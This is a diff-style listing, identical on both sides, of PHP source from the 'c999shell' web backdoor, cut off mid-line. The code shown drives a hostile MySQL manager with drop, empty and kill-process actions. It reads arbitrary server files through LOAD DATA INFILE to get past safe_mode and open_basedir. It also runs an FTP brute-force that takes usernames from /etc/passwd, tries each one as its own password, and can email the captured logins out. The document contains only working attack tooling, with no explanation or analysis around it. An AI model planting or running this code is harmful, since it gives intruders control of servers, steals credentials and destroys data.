| 1264 | echo "</table><hr size=\"1\" noshade><p align=\"left\"><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">"; | 1264 | echo "</table><hr size=\"1\" noshade><p align=\"left\"><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">"; |
| 1265 | echo "<option value=\"\">With selected:</option>"; | 1265 | echo "<option value=\"\">With selected:</option>"; |
| 1266 | echo "<option value=\"deleterow\">Delete</option>"; | 1266 | echo "<option value=\"deleterow\">Delete</option>"; |
| 1267 | echo "</select> <input type=\"submit\" value=\"Confirm\"></form></p>"; | 1267 | echo "</select> <input type=\"submit\" value=\"Confirm\"></form></p>"; |
| 1268 | } | 1268 | } |
| 1269 | } | 1269 | } |
| 1270 | else | 1270 | else |
| 1271 | { | 1271 | { |
| 1272 | $result = mysql_query("SHOW TABLE STATUS", $sql_sock); | 1272 | $result = mysql_query("SHOW TABLE STATUS", $sql_sock); |
| 1273 | if (!$result) {echo mysql_smarterror();} | 1273 | if (!$result) {echo mysql_smarterror();} |
| 1274 | else | 1274 | else |
| 1275 | { | 1275 | { |
| 1276 | echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td><input type=\"checkbox\" name=\"boxtbl_all\" value=\"1\"></td><td><center><b>Table</b></center></td><td><b>Rows</b></td><td><b>Type</b></td><td><b>Created</b></td><td><b>Modified</b></td><td><b>Size</b></td><td><b>Action</b></td></tr>"; | 1276 | echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td><input type=\"checkbox\" name=\"boxtbl_all\" value=\"1\"></td><td><center><b>Table</b></center></td><td><b>Rows</b></td><td><b>Type</b></td><td><b>Created</b></td><td><b>Modified</b></td><td><b>Size</b></td><td><b>Action</b></td></tr>"; |
| 1277 | $i = 0; | 1277 | $i = 0; |
| 1278 | $tsize = $trows = 0; | 1278 | $tsize = $trows = 0; |
| 1279 | while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) | 1279 | while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) |
| 1280 | { | 1280 | { |
| 1281 | $tsize += $row["Data_length"]; | 1281 | $tsize += $row["Data_length"]; |
| 1282 | $trows += $row["Rows"]; | 1282 | $trows += $row["Rows"]; |
| 1283 | $size = view_size($row["Data_length"]); | 1283 | $size = view_size($row["Data_length"]); |
| 1284 | echo "<tr>"; | 1284 | echo "<tr>"; |
| 1285 | echo "<td><input type=\"checkbox\" name=\"boxtbl[]\" value=\"".$row["Name"]."\"></td>"; | 1285 | echo "<td><input type=\"checkbox\" name=\"boxtbl[]\" value=\"".$row["Name"]."\"></td>"; |
| 1286 | echo "<td> <a href=\"".$sql_surl."sql_tbl=".urlencode($row["Name"])."\"><b>".$row["Name"]."</b></a> </td>"; | 1286 | echo "<td> <a href=\"".$sql_surl."sql_tbl=".urlencode($row["Name"])."\"><b>".$row["Name"]."</b></a> </td>"; |
| 1287 | echo "<td>".$row["Rows"]."</td>"; | 1287 | echo "<td>".$row["Rows"]."</td>"; |
| 1288 | echo "<td>".$row["Type"]."</td>"; | 1288 | echo "<td>".$row["Type"]."</td>"; |
| 1289 | echo "<td>".$row["Create_time"]."</td>"; | 1289 | echo "<td>".$row["Create_time"]."</td>"; |
| 1290 | echo "<td>".$row["Update_time"]."</td>"; | 1290 | echo "<td>".$row["Update_time"]."</td>"; |
| 1291 | echo "<td>".$size."</td>"; | 1291 | echo "<td>".$size."</td>"; |
| 1292 | echo "<td> <a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DELETE FROM `".$row["Name"]."`")."\"><img src=\"".$surl."act=img&img=sql_button_empty\" alt=\"Empty\" height=\"13\" width=\"11\" border=\"0\"></a> <a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DROP TABLE `".$row["Name"]."`")."\"><img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"Drop\" height=\"13\" width=\"11\" border=\"0\"></a> <a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".$row["Name"]."\"><img src=\"".$surl."act=img&img=sql_button_insert\" alt=\"Insert\" height=\"13\" width=\"11\" border=\"0\"></a> </td>"; | 1292 | echo "<td> <a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DELETE FROM `".$row["Name"]."`")."\"><img src=\"".$surl."act=img&img=sql_button_empty\" alt=\"Empty\" height=\"13\" width=\"11\" border=\"0\"></a> <a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DROP TABLE `".$row["Name"]."`")."\"><img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"Drop\" height=\"13\" width=\"11\" border=\"0\"></a> <a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".$row["Name"]."\"><img src=\"".$surl."act=img&img=sql_button_insert\" alt=\"Insert\" height=\"13\" width=\"11\" border=\"0\"></a> </td>"; |
| 1293 | echo "</tr>"; | 1293 | echo "</tr>"; |
| 1294 | $i++; | 1294 | $i++; |
| 1295 | } | 1295 | } |
| 1296 | echo "<tr bgcolor=\"000000\">"; | 1296 | echo "<tr bgcolor=\"000000\">"; |
| 1297 | echo "<td><center><b>»</b></center></td>"; | 1297 | echo "<td><center><b>»</b></center></td>"; |
| 1298 | echo "<td><center><b>".$i." table(s)</b></center></td>"; | 1298 | echo "<td><center><b>".$i." table(s)</b></center></td>"; |
| 1299 | echo "<td><b>".$trows."</b></td>"; | 1299 | echo "<td><b>".$trows."</b></td>"; |
| 1300 | echo "<td>".$row[1]."</td>"; | 1300 | echo "<td>".$row[1]."</td>"; |
| 1301 | echo "<td>".$row[10]."</td>"; | 1301 | echo "<td>".$row[10]."</td>"; |
| 1302 | echo "<td>".$row[11]."</td>"; | 1302 | echo "<td>".$row[11]."</td>"; |
| 1303 | echo "<td><b>".view_size($tsize)."</b></td>"; | 1303 | echo "<td><b>".view_size($tsize)."</b></td>"; |
| 1304 | echo "<td></td>"; | 1304 | echo "<td></td>"; |
| 1305 | echo "</tr>"; | 1305 | echo "</tr>"; |
| 1306 | echo "</table><hr size=\"1\" noshade><p align=\"right\"><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">"; | 1306 | echo "</table><hr size=\"1\" noshade><p align=\"right\"><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">"; |
| 1307 | echo "<option value=\"\">With selected:</option>"; | 1307 | echo "<option value=\"\">With selected:</option>"; |
| 1308 | echo "<option value=\"tbldrop\">Drop</option>"; | 1308 | echo "<option value=\"tbldrop\">Drop</option>"; |
| 1309 | echo "<option value=\"tblempty\">Empty</option>"; | 1309 | echo "<option value=\"tblempty\">Empty</option>"; |
| 1310 | echo "<option value=\"tbldump\">Dump</option>"; | 1310 | echo "<option value=\"tbldump\">Dump</option>"; |
| 1311 | echo "<option value=\"tblcheck\">Check table</option>"; | 1311 | echo "<option value=\"tblcheck\">Check table</option>"; |
| 1312 | echo "<option value=\"tbloptimize\">Optimize table</option>"; | 1312 | echo "<option value=\"tbloptimize\">Optimize table</option>"; |
| 1313 | echo "<option value=\"tblrepair\">Repair table</option>"; | 1313 | echo "<option value=\"tblrepair\">Repair table</option>"; |
| 1314 | echo "<option value=\"tblanalyze\">Analyze table</option>"; | 1314 | echo "<option value=\"tblanalyze\">Analyze table</option>"; |
| 1315 | echo "</select> <input type=\"submit\" value=\"Confirm\"></form></p>"; | 1315 | echo "</select> <input type=\"submit\" value=\"Confirm\"></form></p>"; |
| 1316 | mysql_free_result($result); | 1316 | mysql_free_result($result); |
| 1317 | } | 1317 | } |
| 1318 | } | 1318 | } |
| 1319 | } | 1319 | } |
| 1320 | } | 1320 | } |
| 1321 | } | 1321 | } |
| 1322 | else | 1322 | else |
| 1323 | { | 1323 | { |
| 1324 | $acts = array("","newdb","serverstatus","servervars","processes","getfile"); | 1324 | $acts = array("","newdb","serverstatus","servervars","processes","getfile"); |
| 1325 | if (in_array($sql_act,$acts)) {?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newdb"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newdb" size="20"> <input type="submit" value="Create"></form></td><td width="30%" height="1"><b>View File:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="getfile"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_getfile" size="30" value="<?php echo htmlspecialchars($sql_getfile); ?>"> <input type="submit" value="Get"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php } | 1325 | if (in_array($sql_act,$acts)) {?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newdb"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newdb" size="20"> <input type="submit" value="Create"></form></td><td width="30%" height="1"><b>View File:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="getfile"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_getfile" size="30" value="<?php echo htmlspecialchars($sql_getfile); ?>"> <input type="submit" value="Get"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php } |
| 1326 | if (!empty($sql_act)) | 1326 | if (!empty($sql_act)) |
| 1327 | { | 1327 | { |
| 1328 | echo "<hr size=\"1\" noshade>"; | 1328 | echo "<hr size=\"1\" noshade>"; |
| 1329 | if ($sql_act == "newdb") | 1329 | if ($sql_act == "newdb") |
| 1330 | { | 1330 | { |
| 1331 | echo "<b>"; | 1331 | echo "<b>"; |
| 1332 | if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";} | 1332 | if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";} |
| 1333 | else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();} | 1333 | else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();} |
| 1334 | } | 1334 | } |
| 1335 | if ($sql_act == "serverstatus") | 1335 | if ($sql_act == "serverstatus") |
| 1336 | { | 1336 | { |
| 1337 | $result = mysql_query("SHOW STATUS", $sql_sock); | 1337 | $result = mysql_query("SHOW STATUS", $sql_sock); |
| 1338 | echo "<center><b>Server-status variables:</b><br><br>"; | 1338 | echo "<center><b>Server-status variables:</b><br><br>"; |
| 1339 | echo "<TABLE cellSpacing=0 cellPadding=0 bgColor=#333333 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>"; | 1339 | echo "<TABLE cellSpacing=0 cellPadding=0 bgColor=#333333 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>"; |
| 1340 | while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";} | 1340 | while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";} |
| 1341 | echo "</table></center>"; | 1341 | echo "</table></center>"; |
| 1342 | mysql_free_result($result); | 1342 | mysql_free_result($result); |
| 1343 | } | 1343 | } |
| 1344 | if ($sql_act == "servervars") | 1344 | if ($sql_act == "servervars") |
| 1345 | { | 1345 | { |
| 1346 | $result = mysql_query("SHOW VARIABLES", $sql_sock); | 1346 | $result = mysql_query("SHOW VARIABLES", $sql_sock); |
| 1347 | echo "<center><b>Server variables:</b><br><br>"; | 1347 | echo "<center><b>Server variables:</b><br><br>"; |
| 1348 | echo "<TABLE cellSpacing=0 cellPadding=0 bgColor=#333333 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>"; | 1348 | echo "<TABLE cellSpacing=0 cellPadding=0 bgColor=#333333 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>"; |
| 1349 | while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";} | 1349 | while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";} |
| 1350 | echo "</table>"; | 1350 | echo "</table>"; |
| 1351 | mysql_free_result($result); | 1351 | mysql_free_result($result); |
| 1352 | } | 1352 | } |
| 1353 | if ($sql_act == "processes") | 1353 | if ($sql_act == "processes") |
| 1354 | { | 1354 | { |
| 1355 | if (!empty($kill)) {$query = "KILL ".$kill.";"; $result = mysql_query($query, $sql_sock); echo "<b>Killing process #".$kill."... ok. he is dead, amen.</b>";} | 1355 | if (!empty($kill)) {$query = "KILL ".$kill.";"; $result = mysql_query($query, $sql_sock); echo "<b>Killing process #".$kill."... ok. he is dead, amen.</b>";} |
| 1356 | $result = mysql_query("SHOW PROCESSLIST", $sql_sock); | 1356 | $result = mysql_query("SHOW PROCESSLIST", $sql_sock); |
| 1357 | echo "<center><b>Processes:</b><br><br>"; | 1357 | echo "<center><b>Processes:</b><br><br>"; |
| 1358 | echo "<TABLE cellSpacing=0 cellPadding=2 bgColor=#333333 borderColorLight=#333333 border=1><td><b>ID</b></td><td><b>USER</b></td><td><b>HOST</b></td><td><b>DB</b></td><td><b>COMMAND</b></td><td><b>TIME</b></td><td><b>STATE</b></td><td><b>INFO</b></td><td><b>Action</b></td></tr>"; | 1358 | echo "<TABLE cellSpacing=0 cellPadding=2 bgColor=#333333 borderColorLight=#333333 border=1><td><b>ID</b></td><td><b>USER</b></td><td><b>HOST</b></td><td><b>DB</b></td><td><b>COMMAND</b></td><td><b>TIME</b></td><td><b>STATE</b></td><td><b>INFO</b></td><td><b>Action</b></td></tr>"; |
| 1359 | while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td><td>".$row[2]."</td><td>".$row[3]."</td><td>".$row[4]."</td><td>".$row[5]."</td><td>".$row[6]."</td><td>".$row[7]."</td><td><a href=\"".$sql_surl."sql_act=processes&kill=".$row[0]."\"><u>Kill</u></a></td></tr>";} | 1359 | while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td><td>".$row[2]."</td><td>".$row[3]."</td><td>".$row[4]."</td><td>".$row[5]."</td><td>".$row[6]."</td><td>".$row[7]."</td><td><a href=\"".$sql_surl."sql_act=processes&kill=".$row[0]."\"><u>Kill</u></a></td></tr>";} |
| 1360 | echo "</table>"; | 1360 | echo "</table>"; |
| 1361 | mysql_free_result($result); | 1361 | mysql_free_result($result); |
| 1362 | } | 1362 | } |
| 1363 | if ($sql_act == "getfile") | 1363 | if ($sql_act == "getfile") |
| 1364 | { | 1364 | { |
| 1365 | $tmpdb = $sql_login."_tmpdb"; | 1365 | $tmpdb = $sql_login."_tmpdb"; |
| 1366 | $select = mysql_select_db($tmpdb); | 1366 | $select = mysql_select_db($tmpdb); |
| 1367 | if (!$select) {mysql_create_db($tmpdb); $select = mysql_select_db($tmpdb); $created = !!$select;} | 1367 | if (!$select) {mysql_create_db($tmpdb); $select = mysql_select_db($tmpdb); $created = !!$select;} |
| 1368 | if ($select) | 1368 | if ($select) |
| 1369 | { | 1369 | { |
| 1370 | $created = FALSE; | 1370 | $created = FALSE; |
| 1371 | mysql_query("CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );"); | 1371 | mysql_query("CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );"); |
| 1372 | mysql_query("LOAD DATA INFILE \"".addslashes($sql_getfile)."\" INTO TABLE tmp_file"); | 1372 | mysql_query("LOAD DATA INFILE \"".addslashes($sql_getfile)."\" INTO TABLE tmp_file"); |
| 1373 | $result = mysql_query("SELECT * FROM tmp_file;"); | 1373 | $result = mysql_query("SELECT * FROM tmp_file;"); |
| 1374 | if (!$result) {echo "<b>Error in reading file (permision denied)!</b>";} | 1374 | if (!$result) {echo "<b>Error in reading file (permision denied)!</b>";} |
| 1375 | else | 1375 | else |
| 1376 | { | 1376 | { |
| 1377 | for ($i=0;$i<mysql_num_fields($result);$i++) {$name = mysql_field_name($result,$i);} | 1377 | for ($i=0;$i<mysql_num_fields($result);$i++) {$name = mysql_field_name($result,$i);} |
| 1378 | $f = ""; | 1378 | $f = ""; |
| 1379 | while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {$f .= join ("\r\n",$row);} | 1379 | while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {$f .= join ("\r\n",$row);} |
| 1380 | if (empty($f)) {echo "<b>File \"".$sql_getfile."\" does not exists or empty!</b><br>";} | 1380 | if (empty($f)) {echo "<b>File \"".$sql_getfile."\" does not exists or empty!</b><br>";} |
| 1381 | else {echo "<b>File \"".$sql_getfile."\":</b><br>".nl2br(htmlspecialchars($f))."<br>";} | 1381 | else {echo "<b>File \"".$sql_getfile."\":</b><br>".nl2br(htmlspecialchars($f))."<br>";} |
| 1382 | mysql_free_result($result); | 1382 | mysql_free_result($result); |
| 1383 | mysql_query("DROP TABLE tmp_file;"); | 1383 | mysql_query("DROP TABLE tmp_file;"); |
| 1384 | } | 1384 | } |
| 1385 | } | 1385 | } |
| 1386 | mysql_drop_db($tmpdb); //comment it if you want to leave database | 1386 | mysql_drop_db($tmpdb); //comment it if you want to leave database |
| 1387 | } | 1387 | } |
| 1388 | } | 1388 | } |
| 1389 | } | 1389 | } |
| 1390 | } | 1390 | } |
| 1391 | echo "</td></tr></table>"; | 1391 | echo "</td></tr></table>"; |
| 1392 | if ($sql_sock) | 1392 | if ($sql_sock) |
| 1393 | { | 1393 | { |
| 1394 | $affected = @mysql_affected_rows($sql_sock); | 1394 | $affected = @mysql_affected_rows($sql_sock); |
| 1395 | if ((!is_numeric($affected)) or ($affected < 0)){$affected = 0;} | 1395 | if ((!is_numeric($affected)) or ($affected < 0)){$affected = 0;} |
| 1396 | echo "<tr><td><center><b>Affected rows: ".$affected."</center></td></tr>"; | 1396 | echo "<tr><td><center><b>Affected rows: ".$affected."</center></td></tr>"; |
| 1397 | } | 1397 | } |
| 1398 | echo "</table>"; | 1398 | echo "</table>"; |
| 1399 | } | 1399 | } |
| 1400 | if ($act == "mkdir") | 1400 | if ($act == "mkdir") |
| 1401 | { | 1401 | { |
| 1402 | if ($mkdir != $d) | 1402 | if ($mkdir != $d) |
| 1403 | { | 1403 | { |
| 1404 | if (file_exists($mkdir)) {echo "<b>Make Dir \"".htmlspecialchars($mkdir)."\"</b>: object alredy exists";} | 1404 | if (file_exists($mkdir)) {echo "<b>Make Dir \"".htmlspecialchars($mkdir)."\"</b>: object alredy exists";} |
| 1405 | elseif (!mkdir($mkdir)) {echo "<b>Make Dir \"".htmlspecialchars($mkdir)."\"</b>: access denied";} | 1405 | elseif (!mkdir($mkdir)) {echo "<b>Make Dir \"".htmlspecialchars($mkdir)."\"</b>: access denied";} |
| 1406 | echo "<br><br>"; | 1406 | echo "<br><br>"; |
| 1407 | } | 1407 | } |
| 1408 | $act = $dspact = "ls"; | 1408 | $act = $dspact = "ls"; |
| 1409 | } | 1409 | } |
| 1410 | if ($act == "ftpquickbrute") | 1410 | if ($act == "ftpquickbrute") |
| 1411 | { | 1411 | { |
| 1412 | echo "<b>Ftp Quick brute:</b><br>"; | 1412 | echo "<b>Ftp Quick brute:</b><br>"; |
| 1413 | if (!win) {echo "This functions not work in Windows!<br><br>";} | 1413 | if (!win) {echo "This functions not work in Windows!<br><br>";} |
| 1414 | else | 1414 | else |
| 1415 | { | 1415 | { |
| 1416 | function c999ftpbrutecheck($host,$port,$timeout,$login,$pass,$sh,$fqb_onlywithsh) | 1416 | function c999ftpbrutecheck($host,$port,$timeout,$login,$pass,$sh,$fqb_onlywithsh) |
| 1417 | { | 1417 | { |
| 1418 | if ($fqb_onlywithsh) {$TRUE = (!in_array($sh,array("/bin/FALSE","/sbin/nologin")));} | 1418 | if ($fqb_onlywithsh) {$TRUE = (!in_array($sh,array("/bin/FALSE","/sbin/nologin")));} |
| 1419 | else {$TRUE = TRUE;} | 1419 | else {$TRUE = TRUE;} |
| 1420 | if ($TRUE) | 1420 | if ($TRUE) |
| 1421 | { | 1421 | { |
| 1422 | $sock = @ftp_connect($host,$port,$timeout); | 1422 | $sock = @ftp_connect($host,$port,$timeout); |
| 1423 | if (@ftp_login($sock,$login,$pass)) | 1423 | if (@ftp_login($sock,$login,$pass)) |
| 1424 | { | 1424 | { |
| 1425 | echo "<a href=\"ftp://".$login.":".$pass."@".$host."\" target=\"_blank\"><b>Connected to ".$host." with login \"".$login."\" and password \"".$pass."\"</b></a>.<br>"; | 1425 | echo "<a href=\"ftp://".$login.":".$pass."@".$host."\" target=\"_blank\"><b>Connected to ".$host." with login \"".$login."\" and password \"".$pass."\"</b></a>.<br>"; |
| 1426 | ob_flush(); | 1426 | ob_flush(); |
| 1427 | return TRUE; | 1427 | return TRUE; |
| 1428 | } | 1428 | } |
| 1429 | } | 1429 | } |
| 1430 | } | 1430 | } |
| 1431 | if (!empty($submit)) | 1431 | if (!empty($submit)) |
| 1432 | { | 1432 | { |
| 1433 | if (!is_numeric($fqb_lenght)) {$fqb_lenght = $nixpwdperpage;} | 1433 | if (!is_numeric($fqb_lenght)) {$fqb_lenght = $nixpwdperpage;} |
| 1434 | $fp = fopen("/etc/passwd","r"); | 1434 | $fp = fopen("/etc/passwd","r"); |
| 1435 | if (!$fp) {echo "Can't get /etc/passwd for password-list.";} | 1435 | if (!$fp) {echo "Can't get /etc/passwd for password-list.";} |
| 1436 | else | 1436 | else |
| 1437 | { | 1437 | { |
| 1438 | if ($fqb_logging) | 1438 | if ($fqb_logging) |
| 1439 | { | 1439 | { |
| 1440 | if ($fqb_logfile) {$fqb_logfp = fopen($fqb_logfile,"w");} | 1440 | if ($fqb_logfile) {$fqb_logfp = fopen($fqb_logfile,"w");} |
| 1441 | else {$fqb_logfp = FALSE;} | 1441 | else {$fqb_logfp = FALSE;} |
| 1442 | $fqb_log = "FTP Quick Brute (called c999shell v. ".$shver.") started at ".date("d.m.Y H:i:s")."\r\n\r\n"; | 1442 | $fqb_log = "FTP Quick Brute (called c999shell v. ".$shver.") started at ".date("d.m.Y H:i:s")."\r\n\r\n"; |
| 1443 | if ($fqb_logfile) {fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} | 1443 | if ($fqb_logfile) {fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} |
| 1444 | } | 1444 | } |
| 1445 | ob_flush(); | 1445 | ob_flush(); |
| 1446 | $i = $success = 0; | 1446 | $i = $success = 0; |
| 1447 | $ftpquick_st = getmicrotime(); | 1447 | $ftpquick_st = getmicrotime(); |
| 1448 | while(!feof($fp)) | 1448 | while(!feof($fp)) |
| 1449 | { | 1449 | { |
| 1450 | $str = explode(":",fgets($fp,2048)); | 1450 | $str = explode(":",fgets($fp,2048)); |
| 1451 | if (c999ftpbrutecheck("localhost",21,1,$str[0],$str[0],$str[6],$fqb_onlywithsh)) | 1451 | if (c999ftpbrutecheck("localhost",21,1,$str[0],$str[0],$str[6],$fqb_onlywithsh)) |
| 1452 | { | 1452 | { |
| 1453 | echo "<b>Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\"</b><br>"; | 1453 | echo "<b>Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\"</b><br>"; |
| 1454 | $fqb_log .= "Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\", at ".date("d.m.Y H:i:s")."\r\n"; | 1454 | $fqb_log .= "Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\", at ".date("d.m.Y H:i:s")."\r\n"; |
| 1455 | if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} | 1455 | if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} |
| 1456 | $success++; | 1456 | $success++; |
| 1457 | ob_flush(); | 1457 | ob_flush(); |
| 1458 | } | 1458 | } |
| 1459 | if ($i > $fqb_lenght) {break;} | 1459 | if ($i > $fqb_lenght) {break;} |
| 1460 | $i++; | 1460 | $i++; |
| 1461 | } | 1461 | } |
| 1462 | if ($success == 0) {echo "No success. connections!"; $fqb_log .= "No success. connections!\r\n";} | 1462 | if ($success == 0) {echo "No success. connections!"; $fqb_log .= "No success. connections!\r\n";} |
| 1463 | $ftpquick_t = round(getmicrotime()-$ftpquick_st,4); | 1463 | $ftpquick_t = round(getmicrotime()-$ftpquick_st,4); |
| 1464 | echo "<hr size=\"1\" noshade><b>Done!</b><br>Total time (secs.): ".$ftpquick_t."<br>Total connections: ".$i."<br>Success.: <font color=green><b>".$success."</b></font><br>Unsuccess.:".($i-$success)."</b><br>Connects per second: ".round($i/$ftpquick_t,2)."<br>"; | 1464 | echo "<hr size=\"1\" noshade><b>Done!</b><br>Total time (secs.): ".$ftpquick_t."<br>Total connections: ".$i."<br>Success.: <font color=green><b>".$success."</b></font><br>Unsuccess.:".($i-$success)."</b><br>Connects per second: ".round($i/$ftpquick_t,2)."<br>"; |
| 1465 | $fqb_log .= "\r\n------------------------------------------\r\nDone!\r\nTotal time (secs.): ".$ftpquick_t."\r\nTotal connections: ".$i."\r\nSuccess.: ".$success."\r\nUnsuccess.:".($i-$success)."\r\nConnects per second: ".round($i/$ftpquick_t,2)."\r\n"; | 1465 | $fqb_log .= "\r\n------------------------------------------\r\nDone!\r\nTotal time (secs.): ".$ftpquick_t."\r\nTotal connections: ".$i."\r\nSuccess.: ".$success."\r\nUnsuccess.:".($i-$success)."\r\nConnects per second: ".round($i/$ftpquick_t,2)."\r\n"; |
| 1466 | if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} | 1466 | if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} |
| 1467 | if ($fqb_logemail) {@mail($fqb_logemail,"c999shell v. ".$shver." report",$fqb_log);} | 1467 | if ($fqb_logemail) {@mail($fqb_logemail,"c999shell v. ".$shver." report",$fqb_log);} |
| 1468 | fclose($fqb_logfp); | 1468 | fclose($fqb_logfp); |
| 1469 | } | 1469 | } |
| 1470 | } | 1470 | } |
| 1471 | else | 1471 | else |
| 1472 | { | 1472 | { |
| 1473 | $logfile = $tmpdir_logs."c999sh_ftpquickbrute_".date("d.m.Y_H_i_s").".log"; | 1473 | $logfile = $tmpdir_logs."c999sh_ftpquickbrute_".date("d.m.Y_H_i_s").".log"; |
| 1474 | $logfile = str_replace("//",DIRECTORY_SEPARATOR,$logfile); | 1474 | $logfile = str_replace("//",DIRECTORY_SEPARATOR,$logfile); |
| 1475 | echo "<form action=\"".$surl."\"><input type=hidden name=act value=\"ftpquickbrute\"><br>Read first: <input type=text name=\"fqb_lenght\" value=\"".$nixpwdperpage."\"><br><br>Users only with shell? <input type=\"checkbox\" name=\"fqb_onlywithsh\" value=\"1\"><br><br>Logging? <input type=\"checkbox\" name=\"fqb_logging\" value=\"1\" checked><br>Logging to file? <input type=\"text\" name=\"fqb_logfile\" value=\"".$logfile."\" size=\"".(strlen($logfile)+2*(strlen($logfile)/10))."\"><br>Logging to e-mail? <input type=\"text\" name=\"fqb_logemail\" value=\"".$log_email."\" size=\"".(strlen($logemail)+2*(strlen($logemail)/10))."\"><br><br><input type=submit name=submit value=\"Brute\"></form>"; | 1475 | echo "<form action=\"".$surl."\"><input type=hidden name=act value=\"ftpquickbrute\"><br>Read first: <input type=text name=\"fqb_lenght\" value=\"".$nixpwdperpage."\"><br><br>Users only with shell? <input type=\"checkbox\" name=\"fqb_onlywithsh\" value=\"1\"><br><br>Logging? <input type=\"checkbox\" name=\"fqb_logging\" value=\"1\" checked><br>Logging to file? <input type=\"text\" 